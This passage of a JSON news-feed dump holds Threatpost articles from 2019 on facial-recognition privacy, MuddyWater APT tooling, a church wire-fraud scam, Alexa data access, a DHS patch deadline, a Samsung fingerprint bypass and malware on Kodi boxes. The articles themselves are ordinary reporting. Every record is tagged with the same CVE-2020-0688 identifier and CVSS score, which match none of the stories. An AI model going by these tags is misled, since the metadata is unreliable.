where biometrics and facial recognition exists, if you have like a security camera, or surveillance camera that is using facial recognition, there\u2019s not a lot you can do to opt out of that except for avoiding that area.\n\n**Tom:**Well, I think you mentioned that the White House now has a zone where they use facial recognition. And right there, there\u2019s no way you can say no, you walk into that zone. And you\u2019re basically get put into a big database, and they cross reference it and figure out who you are.\n\n**Lindsey: **Right. So there\u2019s a lot that goes into that. And then when I was talking to a bunch of security people at the Electronic Frontier Foundation, as well, they were mentioning that there really needs to be regulation for all this. And there, there is one law that exists in Illinois, where it basically regulates the collection of biometric data without consent. But they think that there needs to be more. And in particular, regulation that impacts law enforcement, as opposed to just businesses which that law did. So I know, there\u2019s also been a new bill that was introduced in March, it was, what was it called, the Commercial Facial Recognition Privacy Act, that would have like more widespread implications for businesses in terms of how what kind of notification and consent they would need when they use facial recognition. So I think that\u2019s kind of a step in the right direction, but something to be looking out for.\n\n**Tom: **Yeah, facial recognition has been a creepy topic for a long time. But you know, as these GPUs get better, and these computers get better, and the efficiency of the compute behind them get better. It just becomes even creepier. I don\u2019t even think the tin foil hats will help protect you.\n\n**Lindsey: **So Tom, you also had an interesting story this week. I think it was about passwords being \u2013 I think it was 2 million passwords were \u2013 being exposed.\n\n**Tom: **Yeah. So I mean, we hear about these breach stories all the time. And I mean, there\u2019s probably like, since we\u2019ve been talking, there\u2019s probably been like three breaches, or should I say leaky servers and insecure data on the internet. And one of the things that I think is kind of interesting about the story is that the leaky data, it was tied to a China-based app manufacturer, called Wi Fi Finder. And researchers at GDI Foundation, found 2 million hotspots and passwords for those hotspots on the servers of this app, this Android app called WiFi Finder. And essentially, it\u2019s pretty straightforward. The app itself is an Android-based app, you can get it on Google Play. And it\u2019s one of many of apps that do the same thing. And that is essentially crowdsource on Wi-Fi hotspot data, and also pairing that information with passwords. So the idea is if your dataset is big enough, and you\u2019re wandering around with this app on your phone, you can find a hotspot, and you can authenticate to that hotspot, and you don\u2019t have to ask anybody for a Wi-Fi password. Now, the data that was found on the servers was pretty extensive in the sense that it wasn\u2019t just commercial businesses. So you know, you go to Starbucks, you go to your local gym, or you go to, you know, a bookstore or something like that, you know, you have these public Wi Fi hotspots with a password that you may have to ask for, you may have to look for. And what was happening was that people were crowdsourcing private companies that were not, generally publicly accessible. And for some odd reason, and this really wasn\u2019t explained very well in the reporting, of the research, was that there was a massive, massive amount of Wi-Fi hotspots that were owned by home users like consumers. And so you would you basically had a lot of a lot of password information and a lot of hotspots by consumers in their homes. And the concern there is, is that in a commercial setting, or even in a sort of a public business, publicly accessible hotspot, there are protections put in place to prevent people from messing with the router configurations and accessing some of the some of the settings within the router. But as if you have access to a home router, those security measures are not in place. And there was no documented cases of hacking, but the concern was there regarding that type of information being available to anybody that had access to this leaky server.\n\n**Lindsey:**I feel like we keep seeing this issue of insecure databases and these accidental exposures, which, obviously are different from a malicious breach. I\u2019m curious if there\u2019s something that can be done to prevent this for people who own these databases. I mean, Tom, did you talk to anyone, any experts who had any recommendations about how to better secure databases and kind of what the underlying problem is here?\n\n**Tom: **I did talk to a couple experts on this one. And, you know, the advice is always the same.In terms of leaky data on servers, it doesn\u2019t change much. Just make sure you configure your servers correctly, and make sure that they\u2019re not accessible to the public. I mean, there\u2019s a couple strategies that you can apply to that. I think one of the one of the other suggestions was the way in which some of these publicly accessible sites providing and offer Wi-Fi, and that would be more or less not an open Wi-Fi, not an insecure Wi-Fi, but things that use tokens and allow and divvy out Wi-Fi to individuals using a specific time delineated username and a unique password. And that way, it would basically render all of these apps useless, because there would be a unique username and a unique password, that would timeout within a certain period of time, which would really create a much more secure public Wi-Fi experience. And that was really the suggestion. And that was really what the experts were saying that I talked to regarding the blowback on this story.\n\n**Lindsey: **Well, I\u2019m feeling sufficiently like I need more privacy right now. Maybe we should wrap up now, Tom and Tara, thanks for taking the time and really interesting discussion today.\n\n**Tara: **Yeah. Thanks, Lindsay. Thanks, Tom.\n\n**Tom: **Yeah, have a great weekend. Have a great weekend.\n\n**Lindsey: **Catch us next week on the Threatpost podcast.\n\nFor direct download, [click here](<http://traffic.libsyn.com/digitalunderground/NEWS_WRAP_FINAL.mp3>).\n", "cvss3": {}, "published": "2019-04-26T17:57:36", "type": "threatpost", "title": "News Wrap: Amazon Echo Privacy, Facebook FTC Fines and Biometrics Regulation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T17:57:36", "id": "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147", "href": "https://threatpost.com/threatpost-news-wrap-podcast-for-apr-26/144144/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:59", "description": "An array of customized attack tools are helping the MuddyWater advanced persistent threat (APT) group to successfully exfiltrate data from its governmental and telco targets in the Middle East; an analysis of this toolset reveals a moderately sophisticated threat actor at work \u2013 with the potential to get even more dangerous over time.\n\nAn analysis from Kaspersky Lab released Monday shows that post-infection, the gang reaches for multiple, relatively simple and expendable tools to infiltrate victims and exfiltrate data, mostly using Python and PowerShell-based coding. The arsenal includes download/execute tools and remote access trojans (RATs) written in C# and Python; SSH Python scripts; and multiple Python tools for the extraction of credentials, history and more.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nKaspersky Lab also found that the group uses various deception techniques to derail detection efforts, such as Chinese strings, Russian strings and an impersonation of a completely different hacking group known as RXR Saudi Arabia.\n\n## A Battalion of RATs and More\n\nSome of MuddyWater\u2019s tools include proprietary efforts such as Nihay, a C# download-and-execute tool. It downloads a PowerShell one-liner from a hardcoded URL, researchers found. Like the other malicious code offerings from MuddyWater, this is a straightforward and simple malware that has but a single job.\n\nAnother tool that the researchers observed is a C# RAT called LisfonService. It \u201crandomly chooses a URL from a huge array of hardcoded proxy URLs hiding the real C2 server,\u201d according to [the analysis](<https://securelist.com/muddywaters-arsenal/90659/>), and is tasked with registering a victim with the C2 by collecting the user name, domain or workgroup name, machine name, machine internal IP address, OS version, OS build and public IP address. This information is used later to request commands from the C2, such as executing PowerShell code or crashing the system.\n\nAnother RAT called Client.Py is a Python 3.6 RAT is a bit more advanced; it supports basic keylogger functionality, stealing passwords saved in Chrome, killing task manager, remote command-execution and displaying an alert message for the victim in a message box.\n\nWhile most of the tools that MuddyWater uses are custom-developed, there are a handful that are based on more generic and publicly available ones, researchers added.\n\n## Deception\n\nAppropriately given the APT\u2019s name, one of the ways that MuddyWater throws forensics off the trail of attribution is by planting false flags, the analysis shows \u2013 including the incorporation of different languages into the coding.\n\n\u201cMultiple Chinese strings can be found in some PowerShell RAT payloads (such as Ffb8ea0347a3af3dd2ab1b4e5a1be18a) that seem to have been left in on purpose, probably to make attribution harder,\u201d according to Kaspersky Lab.\n\nThis also holds true for a series of Russian words that researchers found in another PowerShell sample.\n\n\u201cAttackers used Russian words as the RC4 key when establishing a connection to the C2 server,\u201d the team noted. It added, \u201cInterestingly, when visiting the C2, it displays a blank webpage whose HTML source code shows a strange HTML tag value that suggests attackers have tried to impersonate a Saudi hacking group called RXR Saudi Arabia.\u201d\n\nIn all, the MuddyWater APT shows the hallmarks of being a moderately sophisticated threat group that has built up a reasonably advanced armory to carry out their efforts. Lately those efforts have included attacks on government and telco targets in Bahrain, Iraq, Jordan, Lebanon, Saudi Arabia and Turkey, as well as a few other countries in nearby regions (Afghanistan, Azerbaijan and Pakistan), researchers said.\n\n\u201cThese tools\u2026seem to allow them flexibility to adapt and customize the toolset for victims,\u201d according to Kaspersky Lab. \u201cThis continuous capability to steadily adjust and enhance attacks, adapting well to the changing [Middle Eastern geopolitical scene](<https://threatpost.com/new-actor-darkhydrus-targets-middle-east-with-open-source-phishing/134871/>), seems to make this actor a solid adversary that keeps growing. We expect it to keep developing or acquiring additional tools and abilities, possibly including zero-days.\u201d\n", "cvss3": {}, "published": "2019-04-29T20:04:33", "type": "threatpost", "title": "MuddyWater APT Hones an Arsenal of Custom Tools", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:04:33", "id": "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "href": "https://threatpost.com/muddywater-apt-custom-tools/144193/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:57:09", "description": "A church in Brunswick, Ohio was scammed out of a whopping $1.75 million as a result of a business email compromise (BEC) attack.\n\nSt. Ambrose Catholic Parish, which has around 16,000 members, has been working on a massive $4 million church renovation, dubbed \u201cVision 20/20\u201d \u2013 but attackers figured out a way to hack into the church\u2019s email system, take control of two church employee accounts, and eventually divert payments related to the project to a fraudulent account owned by them.\n\nAccording to [local reports](<https://www.cleveland.com/crime/2019/04/email-hackers-steal-175-million-from-st-ambrose-catholic-parish-in-brunswick.html>), the church said in a letter to parishioners over the weekend that it was notified of the issue on April 17, after the construction company behind the renovations contacted the church saying it had missed payments on the project.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cOn Wednesday, Marous Brothers called inquiring as to why we had not paid our monthly payment on the project for the past two months, totaling approximately $1,750,000,\u201d according to an email sent by the church to parishioners. \u201cThis was shocking news to us, as we have been very prompt on our payments every month and have received all the appropriate confirmations from the bank that the wire transfers of money to Marous were executed/confirmed.\u201d\n\nAfter involving the Brunswick police and the FBI, the church discovered that their email system was hacked and that bad actors had taken control of two employee email accounts.\n\nUsing these two hacked accounts, the attackers were able to pretend they were the email accounts\u2019 real owners, and deceived other employees into believing Marous Brothers had changed their bank and wiring instructions. The $1.75 million in church payments for two months were then sent to a fraudulent bank account owned by the cybercriminals.\n\n\u201cThe money was then swept out by the perpetrators before anyone knew what had happened,\u201d according to the church. \u201cNeedless to say, this was very distressing information.\u201d\n\nThe church said it is currently working with the FBI and its insurance company to try to recover the stolen funds. Meanwhile, it said, no other data \u2013 such as databases with parishioner information or church financial information \u2013 has been compromised.\n\nBEC scams continue to plague companies as attackers become more advanced \u2013 particularly as infamous BEC groups like [London Blue](<https://threatpost.com/bec-scam-gang-london-blue-evolves-tactics-targets/143440/>), [Scarlet Widow](<https://threatpost.com/rsac-2019-bec-scammer-gang-takes-aim-at-boy-scouts-other-nonprofts/142302/>) and others continue honing their techniques.\n\n[![fbi BEC Scam](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30112714/FBI-IC3-11-300x169.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30112714/FBI-IC3-11.png>)\n\n[According to](<https://threatpost.com/fbi-bec-scam-losses-double/144038/>) the FBI\u2019s annual Internet Crime Report (IC3) for 2018, BEC scams ultimately drained victims of over $1.2 billion last year. For contrast, in 2017, BEC attacks resulted in adjusted losses of $675 million.\n\nSt. Ambrose Catholic Parish isn\u2019t the first high-profile community case, either. The FBI in its report said it received a complaint from a town in New Jersey that fell victim of a BEC scam \u2014 and transferred over $1 million to a fraudulent account (the FBI was able to freeze the funds and return the money to the town). Individuals suffer too: In another case, a BEC victim received a email purporting to be from their closing agent during a real-estate transaction \u2014 resulting in the person initiating a wire transfer of $50,000 to a fraudster\u2019s bank account located in New York.\n\nRonnie Tokazowski, senior threat researcher at Agari, told Threatpost in a recent interview there are several steps that firms \u2013 and individuals \u2013 can take to protect against BEC scams.\n\n\u201cFor BEC protections, there are several things that organizations and individuals can do to not fall victim,\u201d he said. \u201cFirstly, implementing a DMARC [which stands for Domain-based Message Authentication, Reporting and Conformance and is an email authentication protocol] solution can help organizations look at the reputation of senders who may be spoofing their CEO\u2019s, asking for wire transfers or gift card. For individuals, being informed about the different types of scams that actors are using can be helpful as well.\u201d\n", "cvss3": {}, "published": "2019-04-30T16:21:59", "type": "threatpost", "title": "BEC Hack Cons Catholic Church Out of $1.75 Million", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-30T16:21:59", "id": "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "href": "https://threatpost.com/bec-hack-cons-catholic-church/144212/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:21", "description": "Employees at Amazon can access geolocation information for Alexa users, according to reports \u2013 thus uncovering their home addresses and even satellite pictures of their houses generated from a service such as Google Earth.\n\nAlexa is the built-in voice assistant shipped with devices like Amazon Echo, Amazon Dot, Fire TV and some third-party gadgets. Confidential employee sources speaking to Bloomberg said that the global team that manually audits Alexa\u2019s accuracy in understanding voice commands can \u201ceasily find\u201d a customer\u2019s home address, by combining the GPS coordinates that they have access to with public mapping services.\n\nThis division, known as the Alexa Data Services Team, is tasked with listening to random samplings of voice commands \u2013 and then matching up Alexa\u2019s response to them to see if the voice-recognition technology is working the way that it should. In theory this is anonymized, but location information in the form of GPS coordinates is captured in order to provide localized search results. For instance, if a user asks for the weather forecast, or a review for a restaurant, the geolocation data is necessary to carry out the requests.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nFive Amazon employees [confirmed to Bloomberg](<https://www.bloomberg.com/news/articles/2019-04-24/amazon-s-alexa-reviewers-can-access-customers-home-addresses>) that the division has access to the location data, and two members of the Alexa team said that they felt they have been given \u201cunnecessarily broad access\u201d to personal information.\n\nThey also shared a demo, demonstrating that by plugging in longitude and latitude of a device to Bing Maps or Google Maps, it\u2019s possible to bring up an address and even an image of the Alexa-owner\u2019s house.\n\n\u201cOften an individual piece of data might be innocuous, but the connected-ness of the world today means that no data can be viewed in a vacuum,\u201d Tim Erlin, vice president of product management and strategy at Tripwire, told Threatpost. \u201cGPS coordinates aren\u2019t personally identifiable on their own, but when coupled with a freely accessible system that translates them into an image of that location, they certainly are.\u201d\n\nFor its part, Amazon downplayed the issue.\n\n\u201cAccess to internal tools is highly controlled, and is only granted to a limited number of employees who require these tools to train and improve the service by processing an extremely small sample of interactions,\u201d Amazon said in a statement to media. \u201cOur policies strictly prohibit employee access to or use of customer data for any other reason, and we have a zero-tolerance policy for abuse of our systems. We regularly audit employee access to internal tools and limit access whenever and wherever possible.\u201d\n\nIt\u2019s unclear how many employees have access to the information, but the sources said that the Data Services Team numbers in the \u201cthousands of employees and contractors,\u201d located in Boston, India and Romania.\n\nThe employees also said that there is a second internal Amazon Alexa team for \u201cannotators and verifiers,\u201d who are privy to the information that customers input into the Alexa app when setting up a device. That includes home and work addresses, phone numbers, and any entered contact names, numbers and email addresses. This smaller team is responsible for making sure that Alexa correctly identifies contacts when someone asks her to \u201ccall my mom,\u201d for example.\n\nAll of that said, Amazon appears to have restricted some data access in the wake of a previous Bloomberg report revealing the existence of the Alexa Data Services Team, the outlet said.\n\nNot everyone is concerned about the news.\n\n\u201cThis is overblown. There is no reason to doubt that Amazon is sincere in its claim that only a select few employees have access to consumers\u2019 information and use it in order to perform their job,\u201d said Mike Bittner, manager for Digital Security and Operations at The Media Trust, via email.\n\n\u201cFeatures referenced in the article (suggested restaurants, etc.) require geolocation tracking, suggested products and targeted advertising require purchase and browser/cookie tracking, daily reminders require calendar tracking. All of these features are products of the continued trailing, recording and analysis of user behavior and undoubtedly make the smart home a more convenient tool,\u201d wrote Bittner.\n\nThus, the situation once again brings up the thorny issue of balancing consumer benefit with potential privacy abuse. It makes sense for Amazon to audit how well Alexa is performing \u2013 but is a flawless Alexa experience worth the data exposure for consumers?\n\n\u201cAmazon employees listening to private conversations recorded by Alexa speaks to the very fears that many of us have about smart-home devices,\u201d Harold Li, vice president at ExpressVPN, told Threatpost in an interview. \u201cThese revelations will no doubt make consumers think twice before buying, as our research has shown that privacy concerns and brand trust are crucial in the smart home space.\u201d\n\nHe added, \u201cIt\u2019s more than reasonable for consumers to expect that companies like Amazon do not invade the sanctity of private conversations in their own homes, and we should demand that companies respect that.\u201d\n", "cvss3": {}, "published": "2019-04-25T15:55:18", "type": "threatpost", "title": "Amazon Employees Given 'Broad Access' to Personal Alexa Info", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-25T15:55:18", "id": "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "href": "https://threatpost.com/amazon-employees-personal-alexa/144119/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:41", "description": "A Department of Homeland Security (DHS) order now requires agencies to remediate critical vulnerabilities discovered on their systems in 15 days \u2013 cutting in half the previous deadline of 30 days.\n\nThat\u2019s according to a Tuesday binding directive, which is a compulsory order for federal, executive branch, departments and agencies \u201cfor purposes of safeguarding federal information and information systems.\u201d\n\nThe initiative, released by the DHS Cybersecurity and Infrastructure Security Agency (CISA) unit, now requires federal agencies to remediate critical security vulnerabilities within 15 days from the initial detection. Vulnerabilities that are merely \u201chigh\u201d in severity, meanwhile, must be remediated within 30 days after detection.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAs federal agencies continue to expand their internet presence through increased deployment of Internet-accessible systems, and operate interconnected and complex systems, it is more critical than ever for federal agencies to rapidly remediate vulnerabilities that otherwise could allow malicious actors to compromise federal networks through exploitable, externally-facing systems,\u201d according to the [directive](<https://cyber.dhs.gov/bod/19-02/#when-do-the-15-and-30-day-clocks-start-for-remediation>).\n\nThe directive supersedes a previous 2015 DHS order, which ordered departments and agencies to mitigate critical vulnerabilities on their internet-facing systems within 30 days \u201cof issuance of their weekly \u2018Cyber Hygiene report.'\u201d\n\nJeanette Manfra, assistant director for Cybersecurity for CISA, [said](<https://www.dhs.gov/cisa/blog/2019/04/29/cisa-releases-binding-operational-directive-new-requirements-remediating>) that the average time between discovery and exploitation of a vulnerability is decreasing, and adversaries are growing more skilled and persistent.\n\n\u201cCISA released [the directive] to continue to take deliberate steps to reduce the overall attack surface and minimize the risk of unauthorized access to federal information systems,\u201d she said. \u201c[The directive] introduces a shorter mitigation time frame for critical vulnerabilities and a new mitigation time frame for high vulnerabilities, to further reduce the attack surface and risk to federal agency information systems.\u201d\n\nThe directive comes as the government pushes for further security measures across various agencies.\n\nThe DHS [in January](<https://threatpost.com/gov-warning-dns-hijacking/141088/>) ordered all federal agencies to urgently audit Domain Name System (DNS) security for their domains in the next 10 business days, warning that multiple government domains have been targeted by DNS hijacking attacks, allowing attackers to redirect and intercept web and mail traffic.\n\nThe directive also comes as the federal government [in March](<https://threatpost.com/federal-cyber-budget-iot-legislation/142744/>) stepped up its game with proposals of budget line items that would requisition nearly $11 billion for cyber initiatives, and the introduction of an Internet of Things (IoT) Cybersecurity Improvement Act of 2019 (which would require that devices purchased by the government to meet certain minimum security requirements).\n\nWhile security experts praised the initiative, they argued that the directive could go even further in trying to quickly stamp out vulnerabilities across governmental organizations.\n\n\u201cI would argue that the directive does not go far enough to call out critical vulnerabilities for which proofs of concept may already be published or for which developing an exploit is trivial,\u201d said Mounir Hahad, head of Juniper Networks\u2019 Juniper Threat Labs. \u201cThose indeed have a higher chance of being exploited by threat actors in record time. In my view, 15 days for remediation is too slow in those circumstances.\u201d\n", "cvss3": {}, "published": "2019-05-01T19:57:27", "type": "threatpost", "title": "DHS Shortens Deadline For Gov Agencies to Fix Critical Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-05-01T19:57:27", "id": "THREATPOST:06C5D9E6950186757AA989F2557336B3", "href": "https://threatpost.com/dhs-deadline-gov-agencies-fix-critical/144269/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:40", "description": "Samsung has reportedly started rolling out a software patch for the Galaxy S10 and Note10, addressing glitches in both phone models that allow the bypass of their built-in fingerprint authentication sensors.\n\nThe fix comes after Samsung admitted last week that anyone [can bypass the Galaxy S10 fingerprint sensor](<https://threatpost.com/galaxy-s10-fingerprint-sensor-thwarted-with-screen-protector-report/149197/>) if a third-party silicon case is enclosing the phone. The acknowledgement led to widespread backlash from customers, while several U.K.-based banks have also started blacklisting impacted Samsung devices for their apps, as the issue also allowed users to access various apps on the impacted devices that were using the biometric function for authentication.\n\nAccording to a Wednesday [report by Android Police](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/>), Samsung is now rolling out patches to customers, urging its customers support app (Samsung Members) to update their phones to the latest software version, which will fix the biometric authentication glitch.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSamsung is releasing a software patch to fix fingerprint issues on Galaxy Note10, Note10+, S10, S10+, and S10 5G devices,\u201d Samsung said on a [note on Samsung Members](<https://www.androidpolice.com/2019/10/23/samsung-will-begin-patching-fingerprint-scanner-security-flaw-within-24-hours/#ap-lightbox>). \u201cIf you have registered a fingerprint on one of these devices, you will receive a notification with instructions. This update is being sent out gradually, so you may not receive the notification immediately.\u201d\n\nSamsung Galaxy S10 and Note10 users, for their part, are urged to look out for an update notification on their devices called \u201cBiometrics Update.\u201d Once they click on \u201cUpdate,\u201d they will be instructed to delete all previously registered fingerprints from their phone with covers on the phone, and re-register them without a cover applied to the phone.\n\nThe issue first came to light after a woman alleged that a $3 smartphone screen protector allowed unauthorized users to dupe her Samsung Galaxy S10\u2019s fingerprint recognition sensor \u2013 giving access to her phone and banking apps. The U.K. woman, Lisa Neilson, told media reports earlier in October that only her fingerprint was registered on her new Galaxy S10. However, after buying a third-party screen protector off eBay, Neilson\u2019s husband was able to unlock her phone using his fingerprint \u2013 even though it wasn\u2019t registered on the device. Worse, the pair found that Neilson\u2019s husband could log into her phone and access various private apps using the fingerprint biometrics security feature.\n\n\u201cThis issue involved ultrasonic fingerprint sensors unlocking devices after recognizing 3-dimensional patterns appearing on certain silicone screen protecting cases as users\u2019 fingerprints,\u201d said Samsung in a [press release last week](<https://news.samsung.com/global/statement-on-fingerprint-recognition-issue>). \u201cTo prevent any further issues, we advise that Galaxy Note10/10+ and S10/S10+/S10 5G users who use such covers to remove the cover, delete all previous fingerprints and newly register their fingerprints.\u201d\n\nOn the heels of this report, several videos popped up of Galaxy S10 users trying the trick out successfully on their own phones (one such video is below).\n\n[NatWest](<https://twitter.com/NatWest_Help/status/1186676299743580161>) and [Royal Bank](<https://twitter.com/RBS_Help/status/1186553506251071493>) are among the banks that removed their apps from the Google Play store for customers with Samsung Galaxy S10 and Note 10 devices: \u201cThis is due to reports that there are security concerns regarding these devices,\u201d according to a Royal Bank tweet. \u201cWe hope to have our app available again shortly once the issue has been resolved.\u201d\n\n> Hi there Martyn. We've removed the app from the Play Store for customers with Samsung S10 devices. This is due to reports that there are security concerns regarding these devices. We hope to have our app available again shortly once the issue has been resolved. WL\n> \n> \u2014 Royal Bank (@RBS_Help) [October 22, 2019](<https://twitter.com/RBS_Help/status/1186553506251071493?ref_src=twsrc%5Etfw>)\n\nThe utilization of biometrics on smartphones has been helpful for identity authentication \u2013 but it\u2019s not foolproof.\n\nIn fact, also in October Google [came under fire for its Pixel 4](<https://arstechnica.com/gadgets/2019/10/google-says-a-fix-for-pixel-4-face-unlock-is-months-away/>) facial recognition unlock feature, which users said would unlock for users even if their eyes were closed. Google issued a media statement this weekend that the glitch will be fixed in a software update that will be delivered in the \u201ccoming months.\u201d\n\nOther privacy incidents have plagued smartphone vendors around biometric authentication. [In August](<https://threatpost.com/researchers-bypass-apple-faceid-using-biometrics-achilles-heel/147109/>), researchers revealed vulnerabilities in the authentication process of biometrics technology that could allow bad actors to bypass various facial recognition applications \u2013 including Apple\u2019s FaceID. In 2018, a design flaw affecting all in-display fingerprint sensors \u2013 that left over a half-dozen cellphone models vulnerable to a trivial lock-screen bypass attack \u2013 [was quietly patched](<https://threatpost.com/lock-screen-bypass-bug-quietly-patched-in-handsets/139141/>). The flaw was tied to a bug in the popular in-display fingerprint reader technology used for user authentication. New vulnerabilities in [voice authentication](<https://threatpost.com/black-hat-2018-voice-authentication-is-broken-researchers-say/134926/>) have been uncovered as well.\n", "cvss3": {}, "published": "2019-10-24T15:44:50", "type": "threatpost", "title": "Samsung Rolls Out Fix For Galaxy S10 Fingerprint Sensor Glitch", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-10-24T15:44:50", "id": "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "href": "https://threatpost.com/samsung-fix-galaxy-s10-fingerprint-sensor/149510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:57", "description": "You get what you pay for when you pirate content. That\u2019s the takeaway from the latest report by Digital Citizens Alliance.\n\nIt found that pirating hardware, which enables free streaming copyright-protected content, comes packed with malicious malware. The devices give criminals easy access to router settings, can plant malware on shared network devices and are often leveraged to steal user credentials.\n\nAccording to the [Digital Citizens Alliance report](<https://www.digitalcitizensalliance.org/clientuploads/directory/Reports/DCA_Fishing_in_the_Piracy_Stream_v6.pdf>) (PDF), 13 percent of 2,073 Americans surveyed use a hardware device for pirating content. One such popular device is called a \u201cKodi box,\u201d which is sold for between $70 to $100 on grey markets. Kodi is an open-source media player designed for televisions and developed by the XBMC Foundation. The software is widely known for its support of a bevy of copyright-infringing apps that offer free access to premium content from Netfix, Amazon Prime, Hulu, sports networks and paid subscription music services. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cBy plugging the device into a home network, [users] are enabling hackers to bypass the security (such as a router\u2019s firewall) designed to protect their system. If apps on the box or that are later downloaded have malware, the user has helped the hacker past network security,\u201d wrote Digital Citizens Alliance (DCA) in a recently released report.\n\nIn a review of hardware and pirating apps, such as FreeNetflix, researchers said they found malware piggybacking on illegal apps and preloaded with content. For example, when researchers installed a live sports streaming app called Mobdro, the app forwarded the researcher\u2019s Wi-Fi network name and password to a server in Indonesia.\n\n[![Example of Jail Broken Amazon Fire TV Stick ](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154055/Jailbroken-Firestick-image-300x253.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154055/Jailbroken-Firestick-image.png>)\n\nExample of a jail broken Amazon Fire TV Stick for sale. Courtesy: Digital Citizens Alliance\n\nIn other instances, 1.5 terabytes of data was uploaded from a device that shared the same network of the Kodi box. And, in yet another instance, \u201cresearchers uncovered a clever scheme that enabled criminals to pose as well-known streaming sites, such as Netflix, to facilitate illegal access to a legitimate subscription of an actual Netflix subscriber,\u201d according to the report.\n\nFor its investigation DCA partnered with GroupSense, a security firm that specializes in chatrooms that facilitate black market sales. It claims hackers were discussing how to leverage networks compromised by illicit media streaming services in hopes of recruiting them into DDoS botnets or to mine cryptocurrency.\n\n\u201cGiven that users rarely install anti-virus tools on such devices, the opportunities for exploitation are numerous,\u201d wrote researchers.\n\nThe unsavory worlds of [pirated content and malware are no strangers](<https://threatpost.com/searches-for-pirated-content-lead-to-pain-and-little-gain/113515/>). Researchers have [long warned that patronizing such](<https://threatpost.com/passteal-malware-lurking-file-sharing-sites-112112/77239/>) services is a shortcut to infection. Earlier this month, [Kaspersky Lab released a report](<https://threatpost.com/game-of-thrones-malware-piracy/143318/>) that found that illegal downloads of HBO\u2019s Game of Thrones accounted for 17 percent of all infected pirated content in the last year.\n\n[![Examples of apps running on the Kodi platform](https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154327/Firestick-Apps-300x152.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29154327/Firestick-Apps.png>)\n\nExamples of apps running on the Kodi platform.\n\nIn [Aug. 2018 researchers at ESET](<https://www.welivesecurity.com/2018/09/13/kodi-add-ons-launch-cryptomining-campaign/>) said they found DDoS modules had been added to a Kodi third-party add-on. ESET said it also found copyright-infringing apps that came with multi-stage crypto-mining malware that targeted Windows and Linux systems.\n\nAs part of its report, DCA reached out to XBMC Foundation. XBMC quickly rebuffed any notion it tacitly supported or endorsed pirated content. \u201cIf you are selling a box on your website designed to trick users into thinking broken add-ons come from us and work perfectly, so you can make a buck, we\u2019re going to do everything we can to stop you,\u201d it told DCA.\n\nThe Kodi application typically runs on a wide range of hardware and is sold by independent resellers on eBay, Facebook Marketplace and Craigslist. DCA said it also found Kodi pre-installed on a number of devices including inexpensive China-made media streamers. The software can also be found on devices, that were sold pre-sideloaded with Kodi software. Users can also choose to install the Kodi application on existing hardware.\n\nTo be clear, the Kodi software is not illicit. Rather, researchers are concerned the Kodi platform supports pirating apps that can harbor malware. Researchers are also concerned that some hardware devices that are sold as \u201cKodi boxes\u201d come pre-installed with malicious code and apps used to pirate streaming content.\n\nDCA did its own independent testing over the course of 500 hours of lab testing. It estimates there are 12 million active users of the illicit devices in North American homes. Those users \u201cpresent a tempting target because they offer hackers a new avenue to exploit consumers and a path to reach other devices on a home network. The findings should serve as a wake-up call for consumers, the technology community, and policymakers to take the threat seriously,\u201d it said.\n", "cvss3": {}, "published": "2019-04-29T20:31:30", "type": "threatpost", "title": "Malware Infests Popular Pirate Streaming Hardware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T20:31:30", "id": "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "href": "https://threatpost.com/kodi_box_malware/144191/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:48", 